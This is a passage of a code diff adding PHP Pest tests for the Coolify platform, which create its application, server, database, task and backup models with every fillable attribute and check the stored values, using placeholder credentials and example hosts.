expect($project->team_id)->toBe($this->team->id); + expect($project->uuid)->toBe('custom-project-uuid'); +}); + +it('creates Environment with all fillable attributes', function () { + $env = Environment::create([ + 'name' => 'staging', + 'description' => 'Staging environment', + 'project_id' => $this->project->id, + 'uuid' => 'custom-env-uuid', + ]); + + expect($env->exists)->toBeTrue(); + expect($env->name)->toBe('staging'); + expect($env->description)->toBe('Staging environment'); + expect($env->project_id)->toBe($this->project->id); + expect($env->uuid)->toBe('custom-env-uuid'); +}); + +it('creates ProjectSetting with all fillable attributes', function () { + $setting = ProjectSetting::create([ + 'project_id' => $this->project->id, + ]); + + expect($setting->exists)->toBeTrue(); + expect($setting->project_id)->toBe($this->project->id); +}); + +it('creates Application with all fillable attributes', function () { + $application = Application::create([ + 'uuid' => 'custom-app-uuid', + 'name' => 'Full Fillable App', + 'description' => 'App with every fillable attr set', + 'fqdn' => 'https://app.example.com', + 'git_repository' => 'https://github.com/coollabsio/coolify', + 'git_branch' => 'main', + 'git_commit_sha' => 'abc123def456', + 'git_full_url' => 'https://github.com/coollabsio/coolify.git', + 'docker_registry_image_name' => 'ghcr.io/coollabsio/coolify', + 'docker_registry_image_tag' => 'latest', + 'build_pack' => 'nixpacks', + 'static_image' => 'nginx:alpine', + 'install_command' => 'npm install', + 'build_command' => 'npm run build', + 'start_command' => 'npm start', + 'ports_exposes' => '3000', + 'ports_mappings' => '3000:3000', + 'base_directory' => '/', + 'publish_directory' => '/dist', + 'health_check_enabled' => true, + 'health_check_path' => '/health', + 'health_check_port' => '3000', + 'health_check_host' => 'localhost', + 'health_check_method' => 'GET', + 'health_check_return_code' => 200, + 'health_check_scheme' => 'http', + 'health_check_response_text' => 'ok', + 'health_check_interval' => 30, + 'health_check_timeout' => 5, + 'health_check_retries' => 3, + 'health_check_start_period' => 10, + 'health_check_type' => 'http', + 'health_check_command' => 'curl -f http://localhost:3000/health', + 'limits_memory' => '512m', + 'limits_memory_swap' => '1g', + 'limits_memory_swappiness' => 60, + 'limits_memory_reservation' => '256m', + 'limits_cpus' => '2', + 'limits_cpuset' => '0-1', + 'limits_cpu_shares' => 1024, + 'status' => 'running', + 'preview_url_template' => '{{pr_id}}.{{domain}}', + 'dockerfile' => 'FROM node:18\nRUN npm install', + 'dockerfile_location' => '/Dockerfile', + 'dockerfile_target_build' => 'production', + 'custom_labels' => 'traefik.enable=true', + 'custom_docker_run_options' => '--cap-add=NET_ADMIN', + 'post_deployment_command' => 'php artisan migrate', + 'post_deployment_command_container' => 'app', + 'pre_deployment_command' => 'php artisan down', + 'pre_deployment_command_container' => 'app', + 'manual_webhook_secret_github' => 'gh-secret-123', + 'manual_webhook_secret_gitlab' => 'gl-secret-456', + 'manual_webhook_secret_bitbucket' => 'bb-secret-789', + 'manual_webhook_secret_gitea' => 'gt-secret-012', + 'docker_compose_location' => '/docker-compose.yml', + 'docker_compose' => 'services: {}', + 'docker_compose_raw' => 'services:\n app:\n image: nginx', + 'docker_compose_domains' => '{"app":"https://app.example.com"}', + 'docker_compose_custom_start_command' => 'docker compose up -d', + 'docker_compose_custom_build_command' => 'docker compose build', + 'swarm_replicas' => 3, + 'swarm_placement_constraints' => 'node.role==worker', + 'watch_paths' => 'src/**,package.json', + 'redirect' => 'www', + 'compose_parsing_version' => '2', + 'custom_nginx_configuration' => 'location / { proxy_pass http://localhost:3000; }', + 'custom_network_aliases' => 'app-alias', + 'custom_healthcheck_found' => false, + // Note: nixpkgsarchive, connect_to_docker_network, force_domain_override, + // is_container_label_escape_enabled, use_build_server are in $fillable but + // their migration columns may not exist in the test SQLite schema yet. + 'is_http_basic_auth_enabled' => false, + 'http_basic_auth_username' => 'admin', + 'http_basic_auth_password' => 'secret', + 'config_hash' => 'sha256:abc123', + 'last_online_at' => now()->subMinutes(5)->toISOString(), + 'restart_count' => 2, + 'last_restart_at' => now()->subHour()->toISOString(), + 'last_restart_type' => 'manual', + 'environment_id' => $this->environment->id, + 'destination_id' => $this->destination->id, + 'destination_type' => $this->destination->getMorphClass(), + 'source_id' => null, + 'source_type' => null, + 'repository_project_id' => null, + 'private_key_id' => null, + ]); + + expect($application->exists)->toBeTrue(); + expect($application->uuid)->toBe('custom-app-uuid'); + expect($application->name)->toBe('Full Fillable App'); + expect((string) $application->git_repository)->toBe('https://github.com/coollabsio/coolify'); + expect($application->build_pack)->toBe('nixpacks'); + expect($application->ports_exposes)->toBe('3000'); + expect($application->environment_id)->toBe($this->environment->id); + expect($application->destination_id)->toBe($this->destination->id); + expect($application->health_check_enabled)->toBeTrue(); + expect($application->limits_memory)->toBe('512m'); + expect($application->swarm_replicas)->toBe(3); + expect($application->restart_count)->toBe(2); +}); + +it('creates ApplicationSetting with all fillable attributes', function () { + $app = Application::create([ + 'name' => 'settings-test-app', + 'git_repository' => 'https://github.com/test/repo', + 'git_branch' => 'main', + 'build_pack' => 'nixpacks', + 'ports_exposes' => '3000', + 'environment_id' => $this->environment->id, + 'destination_id' => $this->destination->id, + 'destination_type' => $this->destination->getMorphClass(), + ]); + + // Delete auto-created setting so we can create one with all attrs + ApplicationSetting::where('application_id', $app->id)->delete(); + + $setting = ApplicationSetting::create([ + 'application_id' => $app->id, + 'is_static' => true, + 'is_git_submodules_enabled' => true, + 'is_git_lfs_enabled' => true, + 'is_auto_deploy_enabled' => false, + 'is_force_https_enabled' => true, + 'is_debug_enabled' => true, + 'is_preview_deployments_enabled' => false, + 'is_log_drain_enabled' => true, + 'is_gpu_enabled' => true, + 'gpu_driver' => 'nvidia', + 'gpu_count' => '2', + 'gpu_device_ids' => 'GPU-abc,GPU-def', + 'gpu_options' => '--gpus all', + 'is_include_timestamps' => true, + 'is_swarm_only_worker_nodes' => false, + 'is_raw_compose_deployment_enabled' => false, + 'is_build_server_enabled' => false, + 'is_consistent_container_name_enabled' => true, + 'is_gzip_enabled' => true, + 'is_stripprefix_enabled' => true, + 'connect_to_docker_network' => false, + 'custom_internal_name' => 'my-custom-app', + 'is_container_label_escape_enabled' => true, + 'is_env_sorting_enabled' => true, + 'is_container_label_readonly_enabled' => false, + 'is_preserve_repository_enabled' => false, + 'disable_build_cache' => false, + 'is_spa' => true, + 'is_git_shallow_clone_enabled' => true, + 'is_pr_deployments_public_enabled' => false, + 'use_build_secrets' => false, + 'inject_build_args_to_dockerfile' => true, + 'include_source_commit_in_build' => true, + 'docker_images_to_keep' => 5, + ]); + + expect($setting->exists)->toBeTrue(); + expect($setting->application_id)->toBe($app->id); + expect($setting->is_static)->toBeTrue(); + expect($setting->is_gpu_enabled)->toBeTrue(); + expect($setting->gpu_driver)->toBe('nvidia'); + expect($setting->custom_internal_name)->toBe('my-custom-app'); + expect($setting->is_spa)->toBeTrue(); + expect($setting->docker_images_to_keep)->toBe(5); +}); + +it('creates ServerSetting with all fillable attributes', function () { + // Delete auto-created setting + ServerSetting::where('server_id', $this->server->id)->delete(); + + $setting = ServerSetting::create([ + 'server_id' => $this->server->id, + 'is_swarm_manager' => false, + 'is_jump_server' => false, + 'is_build_server' => true, + 'is_reachable' => true, + 'is_usable' => true, + 'wildcard_domain' => '*.example.com', + 'is_cloudflare_tunnel' => false, + 'is_logdrain_newrelic_enabled' => true, + 'logdrain_newrelic_license_key' => 'nr-license-key-123', + 'logdrain_newrelic_base_uri' => 'https://log-api.newrelic.com', + 'is_logdrain_highlight_enabled' => false, + 'logdrain_highlight_project_id' => 'hl-proj-123', + 'is_logdrain_axiom_enabled' => true, + 'logdrain_axiom_dataset_name' => 'coolify-logs', + 'logdrain_axiom_api_key' => 'axiom-key-456', + 'is_swarm_worker' => false, + 'is_logdrain_custom_enabled' => false, + 'logdrain_custom_config' => '{"endpoint":"https://logs.example.com"}', + 'logdrain_custom_config_parser' => 'json', + 'concurrent_builds' => 4, + 'dynamic_timeout' => 600, + 'force_disabled' => false, + 'is_metrics_enabled' => true, + 'generate_exact_labels' => true, + 'force_docker_cleanup' => false, + 'docker_cleanup_frequency' => '0 2 * * *', + 'docker_cleanup_threshold' => 80, + 'server_timezone' => 'UTC', + 'delete_unused_volumes' => true, + 'delete_unused_networks' => true, + 'is_sentinel_enabled' => true, + 'sentinel_token' => 'sentinel-token-789', + 'sentinel_metrics_refresh_rate_seconds' => 30, + 'sentinel_metrics_history_days' => 7, + 'sentinel_push_interval_seconds' => 60, + 'sentinel_custom_url' => 'https://sentinel.example.com', + 'server_disk_usage_notification_threshold' => 90, + 'is_sentinel_debug_enabled' => false, + 'server_disk_usage_check_frequency' => '*/5 * * * *', + 'is_terminal_enabled' => true, + 'deployment_queue_limit' => 10, + 'disable_application_image_retention' => false, + ]); + + expect($setting->exists)->toBeTrue(); + expect($setting->server_id)->toBe($this->server->id); + expect($setting->is_build_server)->toBeTrue(); + expect($setting->wildcard_domain)->toBe('*.example.com'); + expect($setting->concurrent_builds)->toBe(4); + expect($setting->sentinel_token)->toBe('sentinel-token-789'); + expect($setting->deployment_queue_limit)->toBe(10); +}); + +it('creates Service with all fillable attributes', function () { + $service = Service::create([ + 'uuid' => 'custom-service-uuid', + 'name' => 'Full Fillable Service', + 'description' => 'Service with all fillable attrs', + 'docker_compose_raw' => "services:\n app:\n image: nginx", + 'docker_compose' => "services:\n app:\n image: nginx", + 'connect_to_docker_network' => true, + 'service_type' => 'test-service', + 'config_hash' => 'sha256:svc123', + 'compose_parsing_version' => '2', + 'is_container_label_escape_enabled' => true, + 'environment_id' => $this->environment->id, + 'server_id' => $this->server->id, + 'destination_id' => $this->destination->id, + 'destination_type' => $this->destination->getMorphClass(), + ]); + + expect($service->exists)->toBeTrue(); + expect($service->uuid)->toBe('custom-service-uuid'); + expect($service->name)->toBe('Full Fillable Service'); + expect($service->docker_compose_raw)->not->toBeNull(); + expect($service->service_type)->toBe('test-service'); + expect($service->environment_id)->toBe($this->environment->id); + expect($service->server_id)->toBe($this->server->id); +}); + +it('creates ApplicationPreview with all fillable attributes', function () { + $app = Application::create([ + 'name' => 'preview-test-app', + 'git_repository' => 'https://github.com/test/repo', + 'git_branch' => 'main', + 'build_pack' => 'nixpacks', + 'ports_exposes' => '3000', + 'environment_id' => $this->environment->id, + 'destination_id' => $this->destination->id, + 'destination_type' => $this->destination->getMorphClass(), + ]); + + $preview = ApplicationPreview::create([ + 'uuid' => 'custom-preview-uuid', + 'application_id' => $app->id, + 'pull_request_id' => 42, + 'pull_request_html_url' => 'https://github.com/test/repo/pull/42', + 'pull_request_issue_comment_id' => 12345, + 'fqdn' => 'https://pr-42.app.example.com', + 'status' => 'queued', + 'git_type' => 'github', + 'docker_compose_domains' => '{"app":"https://pr-42.example.com"}', + 'docker_registry_image_tag' => 'pr-42', + 'last_online_at' => now()->toISOString(), + ]); + + expect($preview->exists)->toBeTrue(); + expect($preview->uuid)->toBe('custom-preview-uuid'); + expect($preview->application_id)->toBe($app->id); + expect($preview->pull_request_id)->toBe(42); + expect($preview->fqdn)->toBe('https://pr-42.app.example.com'); + expect($preview->git_type)->toBe('github'); + expect($preview->docker_registry_image_tag)->toBe('pr-42'); +}); + +it('creates ServiceApplication with all fillable attributes', function () { + $service = Service::create([ + 'docker_compose_raw' => 'services: {}', + 'environment_id' => $this->environment->id, + 'server_id' => $this->server->id, + 'destination_id' => $this->destination->id, + 'destination_type' => $this->destination->getMorphClass(), + ]); + + $svcApp = ServiceApplication::create([ + 'service_id' => $service->id, + 'name' => 'web', + 'human_name' => 'Web Server', + 'description' => 'Main web application', + 'fqdn' => 'https://web.example.com', + 'ports' => '80,443', + 'exposes' => '80', + 'status' => 'running', + 'exclude_from_status' => false, + 'required_fqdn' => true, + 'image' => 'nginx:latest', + 'is_log_drain_enabled' => true, + 'is_include_timestamps' => true, + 'is_gzip_enabled' => true, + 'is_stripprefix_enabled' => true, + 'last_online_at' => now()->toISOString(), + 'is_migrated' => false, + ]); + + expect($svcApp->exists)->toBeTrue(); + expect($svcApp->service_id)->toBe($service->id); + expect($svcApp->name)->toBe('web'); + expect($svcApp->human_name)->toBe('Web Server'); + expect($svcApp->image)->toBe('nginx:latest'); + expect($svcApp->is_log_drain_enabled)->toBeTrue(); +}); + +it('creates ServiceDatabase with all fillable attributes', function () { + $service = Service::create([ + 'docker_compose_raw' => 'services: {}', + 'environment_id' => $this->environment->id, + 'server_id' => $this->server->id, + 'destination_id' => $this->destination->id, + 'destination_type' => $this->destination->getMorphClass(), + ]); + + $svcDb = ServiceDatabase::create([ + 'service_id' => $service->id, + 'name' => 'postgres', + 'human_name' => 'PostgreSQL', + 'description' => 'Main database', + 'ports' => '5432', + 'exposes' => '5432', + 'status' => 'running', + 'exclude_from_status' => false, + 'image' => 'postgres:16', + 'public_port' => 15432, + 'is_public' => true, + 'is_log_drain_enabled' => true, + 'is_include_timestamps' => true, + 'is_gzip_enabled' => false, + 'is_stripprefix_enabled' => false, + 'last_online_at' => now()->toISOString(), + 'is_migrated' => false, + 'custom_type' => 'postgresql', + 'public_port_timeout' => 3600, + ]); + + expect($svcDb->exists)->toBeTrue(); + expect($svcDb->service_id)->toBe($service->id); + expect($svcDb->name)->toBe('postgres'); + expect($svcDb->public_port)->toBe(15432); + expect($svcDb->is_public)->toBeTrue(); + expect($svcDb->custom_type)->toBe('postgresql'); +}); + +it('creates StandalonePostgresql with all fillable attributes', function () { + $db = StandalonePostgresql::create([ + 'uuid' => 'custom-pg-uuid', + 'name' => 'Full Fillable Postgres', + 'description' => 'PG with all attrs', + 'postgres_user' => 'testuser', + 'postgres_password' => 'testpass123', + 'postgres_db' => 'testdb', + 'postgres_initdb_args' => '--encoding=UTF8', + 'postgres_host_auth_method' => 'scram-sha-256', + 'postgres_conf' => 'max_connections=200', + 'init_scripts' => 'CREATE TABLE test (id int);', + 'status' => 'running', + 'image' => 'postgres:16-alpine', + 'is_public' => true, + 'public_port' => 25432, + 'ports_mappings' => '25432:5432', + 'limits_memory' => '1g', + 'limits_memory_swap' => '2g', + 'limits_memory_swappiness' => 50, + 'limits_memory_reservation' => '512m', + 'limits_cpus' => '2', + 'limits_cpuset' => '0-1', + 'limits_cpu_shares' => 1024, + 'started_at' => now()->subDay()->toISOString(), + 'restart_count' => 1, + 'last_restart_at' => now()->subHours(6)->toISOString(), + 'last_restart_type' => 'manual', + 'last_online_at' => now()->toISOString(), + 'public_port_timeout' => 7200, + 'enable_ssl' => true, + 'ssl_mode' => 'verify-full', + 'is_log_drain_enabled' => true, + 'is_include_timestamps' => true, + 'custom_docker_run_options' => '--shm-size=256m', + 'destination_type' => $this->destination->getMorphClass(), + 'destination_id' => $this->destination->id, + 'environment_id' => $this->environment->id, + ]); + + expect($db->exists)->toBeTrue(); + expect($db->uuid)->toBe('custom-pg-uuid'); + expect($db->postgres_user)->toBe('testuser'); + expect($db->postgres_db)->toBe('testdb'); + expect($db->is_public)->toBeTrue(); + expect($db->public_port)->toBe(25432); + expect($db->enable_ssl)->toBeTrue(); + expect($db->environment_id)->toBe($this->environment->id); +}); + +it('creates StandaloneMysql with all fillable attributes', function () { + $db = StandaloneMysql::create([ + 'uuid' => 'custom-mysql-uuid', + 'name' => 'Full Fillable MySQL', + 'description' => 'MySQL with all attrs', + 'mysql_root_password' => 'rootpass123', + 'mysql_user' => 'testuser', + 'mysql_password' => 'testpass123', + 'mysql_database' => 'testdb', + 'mysql_conf' => '[mysqld]\nmax_connections=200', + 'status' => 'running', + 'image' => 'mysql:8.0', + 'is_public' => false, + 'public_port' => 23306, + 'ports_mappings' => '23306:3306', + 'limits_memory' => '1g', + 'limits_memory_swap' => '2g', + 'limits_memory_swappiness' => 50, + 'limits_memory_reservation' => '512m', + 'limits_cpus' => '2', + 'limits_cpuset' => '0-1', + 'limits_cpu_shares' => 1024, + 'started_at' => now()->subDay()->toISOString(), + 'restart_count' => 0, + 'last_restart_at' => null, + 'last_restart_type' => null, + 'last_online_at' => now()->toISOString(), + 'public_port_timeout' => 3600, + 'enable_ssl' => true, + 'ssl_mode' => 'REQUIRED', + 'is_log_drain_enabled' => false, + 'is_include_timestamps' => false, + 'custom_docker_run_options' => '--ulimit nofile=65535:65535', + 'destination_type' => $this->destination->getMorphClass(), + 'destination_id' => $this->destination->id, + 'environment_id' => $this->environment->id, + ]); + + expect($db->exists)->toBeTrue(); + expect($db->uuid)->toBe('custom-mysql-uuid'); + expect($db->mysql_root_password)->toBe('rootpass123'); + expect($db->mysql_database)->toBe('testdb'); + expect($db->enable_ssl)->toBeTrue(); + expect($db->environment_id)->toBe($this->environment->id); +}); + +it('creates StandaloneMariadb with all fillable attributes', function () { + $db = StandaloneMariadb::create([ + 'uuid' => 'custom-maria-uuid', + 'name' => 'Full Fillable MariaDB', + 'description' => 'MariaDB with all attrs', + 'mariadb_root_password' => 'rootpass123', + 'mariadb_user' => 'testuser', + 'mariadb_password' => 'testpass123', + 'mariadb_database' => 'testdb', + 'mariadb_conf' => '[mysqld]\nmax_connections=200', + 'status' => 'running', + 'image' => 'mariadb:11', + 'is_public' => false, + 'public_port' => 23307, + 'ports_mappings' => '23307:3306', + 'limits_memory' => '1g', + 'limits_memory_swap' => '2g', + 'limits_memory_swappiness' => 50, + 'limits_memory_reservation' => '512m', + 'limits_cpus' => '2', + 'limits_cpuset' => '0-1', + 'limits_cpu_shares' => 1024, + 'started_at' => now()->subDay()->toISOString(), + 'restart_count' => 0, + 'last_restart_at' => null, + 'last_restart_type' => null, + 'last_online_at' => now()->toISOString(), + 'public_port_timeout' => 3600, + 'enable_ssl' => false, + 'is_log_drain_enabled' => false, + 'custom_docker_run_options' => '', + 'destination_type' => $this->destination->getMorphClass(), + 'destination_id' => $this->destination->id, + 'environment_id' => $this->environment->id, + ]); + + expect($db->exists)->toBeTrue(); + expect($db->uuid)->toBe('custom-maria-uuid'); + expect($db->mariadb_root_password)->toBe('rootpass123'); + expect($db->mariadb_database)->toBe('testdb'); + expect($db->environment_id)->toBe($this->environment->id); +}); + +it('creates StandaloneMongodb with all fillable attributes', function () { + $db = StandaloneMongodb::create([ + 'uuid' => 'custom-mongo-uuid', + 'name' => 'Full Fillable MongoDB', + 'description' => 'MongoDB with all attrs', + 'mongo_conf' => '{"storage":{"dbPath":"/data/db"}}', + 'mongo_initdb_root_username' => 'mongoadmin', + 'mongo_initdb_root_password' => 'mongopass123', + 'mongo_initdb_database' => 'testdb', + 'status' => 'running', + 'image' => 'mongo:7', + 'is_public' => false, + 'public_port' => 27018, + 'ports_mappings' => '27018:27017', + 'limits_memory' => '2g', + 'limits_memory_swap' => '4g', + 'limits_memory_swappiness' => 60, + 'limits_memory_reservation' => '1g', + 'limits_cpus' => '4', + 'limits_cpuset' => '0-3', + 'limits_cpu_shares' => 2048, + 'started_at' => now()->subDay()->toISOString(), + 'restart_count' => 0, + 'last_restart_at' => null, + 'last_restart_type' => null, + 'last_online_at' => now()->toISOString(), + 'public_port_timeout' => 3600, + 'enable_ssl' => false, + 'ssl_mode' => 'prefer', + 'is_log_drain_enabled' => false, + 'is_include_timestamps' => false, + 'custom_docker_run_options' => '', + 'destination_type' => $this->destination->getMorphClass(), + 'destination_id' => $this->destination->id, + 'environment_id' => $this->environment->id, + ]); + + expect($db->exists)->toBeTrue(); + expect($db->uuid)->toBe('custom-mongo-uuid'); + expect($db->mongo_initdb_root_username)->toBe('mongoadmin'); + expect($db->mongo_initdb_database)->toBe('testdb'); + expect($db->environment_id)->toBe($this->environment->id); +}); + +it('creates StandaloneRedis with all fillable attributes', function () { + $db = StandaloneRedis::create([ + 'uuid' => 'custom-redis-uuid', + 'name' => 'Full Fillable Redis', + 'description' => 'Redis with all attrs', + 'redis_conf' => 'maxmemory 256mb\nmaxmemory-policy allkeys-lru', + 'status' => 'running', + 'image' => 'redis:7-alpine', + 'is_public' => true, + 'public_port' => 26379, + 'ports_mappings' => '26379:6379', + 'limits_memory' => '512m', + 'limits_memory_swap' => '1g', + 'limits_memory_swappiness' => 30, + 'limits_memory_reservation' => '256m', + 'limits_cpus' => '1', + 'limits_cpuset' => '0', + 'limits_cpu_shares' => 512, + 'started_at' => now()->subDay()->toISOString(), + 'restart_count' => 0, + 'last_restart_at' => null, + 'last_restart_type' => null, + 'last_online_at' => now()->toISOString(), + 'public_port_timeout' => 3600, + 'enable_ssl' => false, + 'is_log_drain_enabled' => false, + 'is_include_timestamps' => false, + 'custom_docker_run_options' => '', + 'destination_type' => $this->destination->getMorphClass(), + 'destination_id' => $this->destination->id, + 'environment_id' => $this->environment->id, + ]); + + expect($db->exists)->toBeTrue(); + expect($db->uuid)->toBe('custom-redis-uuid'); + expect($db->redis_conf)->toContain('maxmemory'); + expect($db->is_public)->toBeTrue(); + expect($db->environment_id)->toBe($this->environment->id); +}); + +it('creates StandaloneKeydb with all fillable attributes', function () { + $db = StandaloneKeydb::create([ + 'uuid' => 'custom-keydb-uuid', + 'name' => 'Full Fillable KeyDB', + 'description' => 'KeyDB with all attrs', + 'keydb_password' => 'keydbpass123', + 'keydb_conf' => 'server-threads 4', + 'is_log_drain_enabled' => false, + 'is_include_timestamps' => false, + 'status' => 'running', + 'image' => 'eqalpha/keydb:latest', + 'is_public' => false, + 'public_port' => 26380, + 'ports_mappings' => '26380:6379', + 'limits_memory' => '512m', + 'limits_memory_swap' => '1g', + 'limits_memory_swappiness' => 30, + 'limits_memory_reservation' => '256m', + 'limits_cpus' => '2', + 'limits_cpuset' => '0-1', + 'limits_cpu_shares' => 512, + 'started_at' => now()->subDay()->toISOString(), + 'restart_count' => 0, + 'last_restart_at' => null, + 'last_restart_type' => null, + 'last_online_at' => now()->toISOString(), + 'public_port_timeout' => 3600, + 'enable_ssl' => false, + 'custom_docker_run_options' => '', + 'destination_type' => $this->destination->getMorphClass(), + 'destination_id' => $this->destination->id, + 'environment_id' => $this->environment->id, + ]); + + expect($db->exists)->toBeTrue(); + expect($db->uuid)->toBe('custom-keydb-uuid'); + expect($db->keydb_password)->toBe('keydbpass123'); + expect($db->environment_id)->toBe($this->environment->id); +}); + +it('creates StandaloneDragonfly with all fillable attributes', function () { + $db = StandaloneDragonfly::create([ + 'uuid' => 'custom-dragonfly-uuid', + 'name' => 'Full Fillable Dragonfly', + 'description' => 'Dragonfly with all attrs', + 'dragonfly_password' => 'dragonflypass123', + 'is_log_drain_enabled' => false, + 'is_include_timestamps' => false, + 'status' => 'running', + 'image' => 'docker.dragonflydb.io/dragonflydb/dragonfly:latest', + 'is_public' => false, + 'public_port' => 26381, + 'ports_mappings' => '26381:6379', + 'limits_memory' => '1g', + 'limits_memory_swap' => '2g', + 'limits_memory_swappiness' => 30, + 'limits_memory_reservation' => '512m', + 'limits_cpus' => '2', + 'limits_cpuset' => '0-1', + 'limits_cpu_shares' => 512, + 'started_at' => now()->subDay()->toISOString(), + 'restart_count' => 0, + 'last_restart_at' => null, + 'last_restart_type' => null, + 'last_online_at' => now()->toISOString(), + 'public_port_timeout' => 3600, + 'enable_ssl' => false, + 'custom_docker_run_options' => '', + 'destination_type' => $this->destination->getMorphClass(), + 'destination_id' => $this->destination->id, + 'environment_id' => $this->environment->id, + ]); + + expect($db->exists)->toBeTrue(); + expect($db->uuid)->toBe('custom-dragonfly-uuid'); + expect($db->dragonfly_password)->toBe('dragonflypass123'); + expect($db->environment_id)->toBe($this->environment->id); +}); + +it('creates StandaloneClickhouse with all fillable attributes', function () { + $db = StandaloneClickhouse::create([ + 'uuid' => 'custom-ch-uuid', + 'name' => 'Full Fillable ClickHouse', + 'description' => 'ClickHouse with all attrs', + 'clickhouse_admin_user' => 'chadmin', + 'clickhouse_admin_password' => 'chpass123', + 'is_log_drain_enabled' => false, + 'is_include_timestamps' => false, + 'status' => 'running', + 'image' => 'clickhouse/clickhouse-server:latest', + 'is_public' => false, + 'public_port' => 28123, + 'ports_mappings' => '28123:8123', + 'limits_memory' => '2g', + 'limits_memory_swap' => '4g', + 'limits_memory_swappiness' => 30, + 'limits_memory_reservation' => '1g', + 'limits_cpus' => '4', + 'limits_cpuset' => '0-3', + 'limits_cpu_shares' => 2048, + 'started_at' => now()->subDay()->toISOString(), + 'restart_count' => 0, + 'last_restart_at' => null, + 'last_restart_type' => null, + 'last_online_at' => now()->toISOString(), + 'public_port_timeout' => 3600, + 'custom_docker_run_options' => '', + 'clickhouse_db' => 'testdb', + 'destination_type' => $this->destination->getMorphClass(), + 'destination_id' => $this->destination->id, + 'environment_id' => $this->environment->id, + ]); + + expect($db->exists)->toBeTrue(); + expect($db->uuid)->toBe('custom-ch-uuid'); + expect($db->clickhouse_admin_user)->toBe('chadmin'); + expect($db->clickhouse_db)->toBe('testdb'); + expect($db->environment_id)->toBe($this->environment->id); +}); + +it('creates SwarmDocker with all fillable attributes', function () { + $swarm = SwarmDocker::create([ + 'server_id' => $this->server->id, + 'name' => 'swarm-dest', + 'network' => 'coolify-swarm', + ]); + + expect($swarm->exists)->toBeTrue(); + expect($swarm->server_id)->toBe($this->server->id); + expect($swarm->name)->toBe('swarm-dest'); + expect($swarm->network)->toBe('coolify-swarm'); +}); + +it('creates StandaloneDocker with all fillable attributes', function () { + $docker = StandaloneDocker::create([ + 'server_id' => $this->server->id, + 'name' => 'standalone-dest', + 'network' => 'coolify-standalone', + ]); + + expect($docker->exists)->toBeTrue(); + expect($docker->server_id)->toBe($this->server->id); + expect($docker->name)->toBe('standalone-dest'); + expect($docker->network)->toBe('coolify-standalone'); +}); + +it('creates ScheduledTask with all fillable attributes', function () { + $app = Application::create([ + 'name' => 'task-test-app', + 'git_repository' => 'https://github.com/test/repo', + 'git_branch' => 'main', + 'build_pack' => 'nixpacks', + 'ports_exposes' => '3000', + 'environment_id' => $this->environment->id, + 'destination_id' => $this->destination->id, + 'destination_type' => $this->destination->getMorphClass(), + ]); + + $task = ScheduledTask::create([ + 'uuid' => 'custom-task-uuid', + 'enabled' => true, + 'name' => 'Full Fillable Task', + 'command' => 'php artisan schedule:run', + 'frequency' => '* * * * *', + 'container' => 'app', + 'timeout' => 300, + 'team_id' => $this->team->id, + 'application_id' => $app->id, + 'service_id' => null, + ]); + + expect($task->exists)->toBeTrue(); + expect($task->uuid)->toBe('custom-task-uuid'); + expect($task->name)->toBe('Full Fillable Task'); + expect($task->command)->toBe('php artisan schedule:run'); + expect($task->frequency)->toBe('* * * * *'); + expect($task->container)->toBe('app'); + expect($task->timeout)->toBe(300); + expect($task->team_id)->toBe($this->team->id); + expect($task->application_id)->toBe($app->id); +}); + +it('creates ScheduledDatabaseBackup with all fillable attributes', function () { + $db = StandalonePostgresql::create([ + 'name' => 'backup-test-pg', + 'postgres_user' => 'user', + 'postgres_password' => 'pass', + 'postgres_db' => 'testdb', + 'destination_type' => $this->destination->getMorphClass(), + 'destination_id' => $this->destination->id, + 'environment_id' => $this->environment->id, + ]); + + $backup = ScheduledDatabaseBackup::create([ + 'uuid' => 'custom-backup-uuid', + 'team_id' => $this->team->id, + 'description' => 'Full fillable backup', + 'enabled' => true, + 'save_s3' => false, + 'frequency' => '0 2 * * *', + 'database_backup_retention_amount_locally' => 10, + 'database_type' => $db->getMorphClass(), + 'database_id' => $db->id, + 's3_storage_id' => null, + 'databases_to_backup' => 'testdb', + 'dump_all' => false, + 'database_backup_retention_days_locally' => 30, + 'database_backup_retention_max_storage_locally' => 5000, + 'database_backup_retention_amount_s3' => 20, + 'database_backup_retention_days_s3' => 60, + 'database_backup_retention_max_storage_s3' => 10000, + 'timeout' => 600, + 'disable_local_backup' => false, + ]); + + expect($backup->exists)->toBeTrue(); + expect($backup->uuid)->toBe('custom-backup-uuid'); + expect($backup->frequency)->toBe('0 2 * * *'); + expect($backup->database_backup_retention_amount_locally)->toBe(10); + expect($backup->databases_to_backup)->toBe('testdb'); + expect($backup->timeout)->toBe(600); +}); + +it('creates ScheduledDatabaseBackupExecution with all fillable attributes', function () { + $db = StandalonePostgresql::create([ + 'name' => 'exec-test-pg', + 'postgres_user' => 'user', + 'postgres_password' => 'pass', + 'postgres_db' => 'testdb', + 'destination_type' => $this->destination->getMorphClass(), + 'destination_id' => $this->destination->id, + 'environment_id' => $this->environment->id, + ]); + $backup = ScheduledDatabaseBackup::create([ + 'frequency' => '0 2 * * *', + 'database_type' => $db->getMorphClass(), + 'database_id' => $db->id, + 'team_id' => $this->team->id, + ]); + + $execution = ScheduledDatabaseBackupExecution::create([ + 'uuid' => 'custom-exec-uuid', + 'scheduled_database_backup_id' => $backup->id, + 'status' => 'success', + 'message' => 'Backup completed successfully', + 'size' => 1048576, + 'filename' => 'backup-2026-03-31.sql.gz', + 'database_name' => 'testdb', + 'finished_at' => now()->toISOString(), + 'local_storage_deleted' => false, + 's3_storage_deleted' => false, + 's3_uploaded' => false, + ]); + + expect($execution->exists)->toBeTrue(); + expect($execution->uuid)->toBe('custom-exec-uuid'); + expect($execution->status)->toBe('success'); + expect($execution->filename)->toBe('backup-2026-03-31.sql.gz'); + expect($execution->database_name)->toBe('testdb'); + expect($execution->size)->toBe(1048576); +}); + +it('creates ScheduledTaskExecution with all fillable attributes', function () { + $app = Application::create([ + 'name' => 'task-exec-app', + 'git_repository' => 'https://github.com/test/repo', + 'git_branch' => 'main', + 'build_pack' => 'nixpacks', + 'ports_exposes' => '3000', + 'environment_id' => $this->environment->id, + 'destination_id' => $this->destination->id, + 'destination_type' => $this->destination->getMorphClass(), + ]); + $task = ScheduledTask::create([ + 'name' => 'exec-test-task', + 'command' => 'echo hello', + 'frequency' => '* * * * *', + 'timeout' => 60, + 'team_id' => $this->team->id, + 'application_id' => $app->id, + ]); + + $execution = ScheduledTaskExecution::create([ + 'scheduled_task_id' => $task->id, + 'status' => 'success', + 'message' => 'Task completed successfully', + 'finished_at' => now()->toISOString(), + 'started_at' => now()->subMinute()->toISOString(), + 'retry_count' => 0, + 'duration' => 60, + 'error_details' => null, + ]); + + expect($execution->exists)->toBeTrue(); + 